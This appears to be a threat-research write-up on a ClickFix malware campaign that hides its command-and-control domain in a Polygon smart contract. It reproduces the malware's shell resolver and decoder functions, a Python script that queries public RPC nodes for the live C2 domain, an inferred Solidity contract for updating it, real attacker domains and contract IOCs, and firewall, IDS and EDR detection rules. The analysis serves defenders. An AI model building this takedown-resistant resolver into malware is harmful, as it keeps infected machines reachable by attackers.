WikifitaGitHub live67e8de5
pesquisa · clickfix/clickfix-bddr

ClickFix — Blockchain Dead-Drop Resolver (BDDR)

Polygon smart contract C2 resolution via eth_call. ABI decoding, RPC failover, defensive recommendations. Novel C2 technique.

Baixar raw

ClickFix — Blockchain Dead-Drop Resolver (BDDR)

The C2 URL is stored as hex data in a Polygon smart contract. If the domain is seized, the attacker pushes a new on-chain transaction and all infected machines instantly pivot to the new C2.

See also: clickfix-handoff | clickfix-c2-bot | clickfix-infrastructure


1. What is BDDR?

A Blockchain Dead-Drop Resolver stores the active C2 server URL inside a smart contract's on-chain state rather than using DNS, DGA, or hardcoded IPs. The malware makes a read-only eth_call to the contract, decodes the ABI-encoded response, and extracts the C2 hostname.

First documented in academic research (2019–2021), but operational deployment in active APT campaigns targeting macOS developers marks a significant shift toward production-quality C2 resilience.


2. Why BDDR is Unprecedented

Takedown MethodDNS C2Domain FrontingDGABDDR
DNS sinkholingEffectivePartialPartialIneffective
Registrar takedownEffectivePartialIneffectiveIneffective
IP blocklistEffectivePartialPartialOnly fallback IP
Smart contract takedownN/AN/AN/AImpossible — immutable
RPC node blockingN/AN/AN/APossible but requires blocking all public Polygon RPC
Blockchain forkN/AN/AN/AInfeasible — cost prohibitive

The contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 is permanently deployed on Polygon Mainnet. No mechanism exists to delete or modify it without the owner's private key.

Attacker Update Capability

The threat actor updates the C2 URL by calling the contract's write function:

  • If sj98xe4.xyz is taken down → attacker updates contract state to new domain
  • All infected hosts polling via RPC automatically pivot
  • No reinfection or payload update required

3. Technical Implementation

RPC Node Failover Array

POLYGON_RPCS=(
    "https://polygon.drpc.org"
    "https://polygon.publicnode.com"
    "https://polygon-mainnet.gateway.tatum.io"
    "https://tenderly.rpc.polygon.community"
)

4 distinct public Polygon RPC nodes with failover. All are legitimate free providers — traffic indistinguishable from ordinary blockchain app traffic.

The eth_call Request

{
    "jsonrpc": "2.0",
    "method": "eth_call",
    "params": [
        {
            "to": "0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0",
            "data": "0x2686ecea"
        },
        "latest"
    ],
    "id": 1
}
FieldValueNotes
methodeth_callRead-only — no gas, no tx, no private key
toContract addressPolygon Mainnet
data0x2686ecea4-byte function selector (Keccak256)
Block taglatestCurrent on-chain state

Shell Implementation

resolve_c2() {
    local rpc_url="$1"
    local contract="0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0"
    local selector="0x2686ecea"
    response=$(curl -s -X POST "$rpc_url" \
        -H "Content-Type: application/json" \
        -d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"${contract}\",\"data\":\"${selector}\"},\"latest\"],\"id\":1}")
    echo "$response"
}

4. ABI Hex Decoding

Ethereum ABI Encoding for string Return

[32 bytes] Offset pointer to dynamic data
[32 bytes] String length in bytes
[N bytes]  String data, zero-padded to 32-byte boundary

Decoding the Response

Raw hex (stripping 0x):

Word 0 (bytes 0-31):   0000000000000000000000000000000000000000000000000000000000000020
Word 1 (bytes 32-63):  000000000000000000000000000000000000000000000000000000000000000b
Word 2 (bytes 64-95):  736a39387865342e78797a000000000000000000000000000000000000000000

Step 1: Word 0 → 0x20 = 32 (offset to string data) Step 2: Word 1 → 0x0b = 11 (string length) Step 3: Word 2 → 11 bytes: 736a39387865342e78797a Step 4: Hex to ASCII:

73→s 6a→j 39→9 38→8 78→x 65→e 34→4 2e→. 78→x 79→y 7a→z

Result: sj98xe4.xyz — the active C2 domain.

Shell Decoder in Malware

decode_c2_from_rpc_response() {
    local raw_hex="$1"
    local hex="${raw_hex#0x}"
    local len_hex="${hex:64:64}"
    local str_len=$(printf "%d" "0x${len_hex}")
    local str_hex="${hex:128:$((str_len * 2))}"
    c2_domain=$(echo "$str_hex" | xxd -r -p)
    echo "$c2_domain"
}

5. Python Forensic Reproduction

#!/usr/bin/env python3
"""Forensic reproduction of BDDR. Usage: python3 reproduce_bddr.py"""

import json
import urllib.request

CONTRACT = "0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0"
SELECTOR = "0x2686ecea"
RPC_NODES = [
    "https://polygon.drpc.org",
    "https://polygon.publicnode.com",
    "https://polygon-mainnet.gateway.tatum.io",
    "https://tenderly.rpc.polygon.community",
]

def eth_call(rpc_url, contract, data):
    payload = json.dumps({
        "jsonrpc": "2.0", "method": "eth_call",
        "params": [{"to": contract, "data": data}, "latest"], "id": 1
    }).encode()
    req = urllib.request.Request(rpc_url, data=payload,
        headers={"Content-Type": "application/json"}, method="POST")
    with urllib.request.urlopen(req, timeout=10) as resp:
        return json.loads(resp.read())["result"]

def decode_abi_string(hex_data):
    data = hex_data[2:] if hex_data.startswith("0x") else hex_data
    offset = int(data[0:64], 16)
    length_start = offset * 2
    str_len = int(data[length_start:length_start + 64], 16)
    str_start = length_start + 64
    str_hex = data[str_start:str_start + (str_len * 2)]
    return bytes.fromhex(str_hex).decode("utf-8")

for rpc in RPC_NODES:
    try:
        result = eth_call(rpc, CONTRACT, SELECTOR)
        print(f"C2: {decode_abi_string(result)}")
        break
    except Exception as e:
        print(f"Failed: {e}")

6. Inferred Solidity Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract C2Resolver {
    address private owner;
    string private c2Domain;

    constructor(string memory initialDomain) {
        owner = msg.sender;
        c2Domain = initialDomain;
    }

    // Selector: 0x2686ecea (read — no auth required)
    function getC2() external view returns (string memory) {
        return c2Domain;
    }

    // Update — only owner
    function setC2(string memory newDomain) external {
        require(msg.sender == owner, "Not authorized");
        c2Domain = newDomain;
    }
}

Function Selectors (from doc 09)

SelectorLikely FunctionPurpose
0x2686eceagetC2()Read C2 domain (infected hosts call this)
0x893d20e8getOwner()Read contract owner
0xd75d1ba6getServer()Alternative C2 getter
0xf2fde38btransferOwnership()Owner rotation

7. On-Chain Timeline

DateEvent
Pre-2026-06-25Contract deployed with initial C2
2026-06-25First observed SetServerURL tx
2026-06-27sj98xe4.xyz suspended by registrar
2026-06-29Attacker registers apdhlhs3.xyz
2026-06-3016th SetServerURL tx — contract updated to new C2
2026-07-02BDDR confirmed — apdhlhs3.xyz decoded from contract

8. Operational Impact

  • C2 domain sj98xe4.xyz was suspended within 48 hours of the report
  • Attacker registered new C2 (apdhlhs3.xyz) 2 days later for ~$1.00
  • Contract update took one on-chain transaction
  • All infected hosts pivoted automatically
  • Domain takedowns alone are ineffective against BDDR

9. Defensive Recommendations

ControlImplementation
Block Polygon RPC at perimeterFirewall deny: polygon.drpc.org, polygon.publicnode.com, polygon-mainnet.gateway.tatum.io, tenderly.rpc.polygon.community
Detect eth_call patternsIDS rule: POST with JSON body "method":"eth_call" from non-browser processes
Monitor xxd/awk hex decodingEDR rule: xxd -r -p in shell context
Blockchain threat intelSubscribe to on-chain monitoring for contract write events

Blocking public RPC nodes may impact legitimate web3 workflows. A targeted approach: alert on eth_call from shell interpreters rather than browsers.


10. IOC Quick Reference

TypeValue
Contract0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0
Selector0x2686ecea
CreatorAttacker-controlled EOA
Domains servedsj98xe4.xyzapdhlhs3.xyzj9af4sr.guru
NetworkPolygon Mainnet (Chain ID 137)

Source: redhat-clickfix-report/docs/03_stage2_blockchain_c2.md + docs/09_infrastructure_analysis.md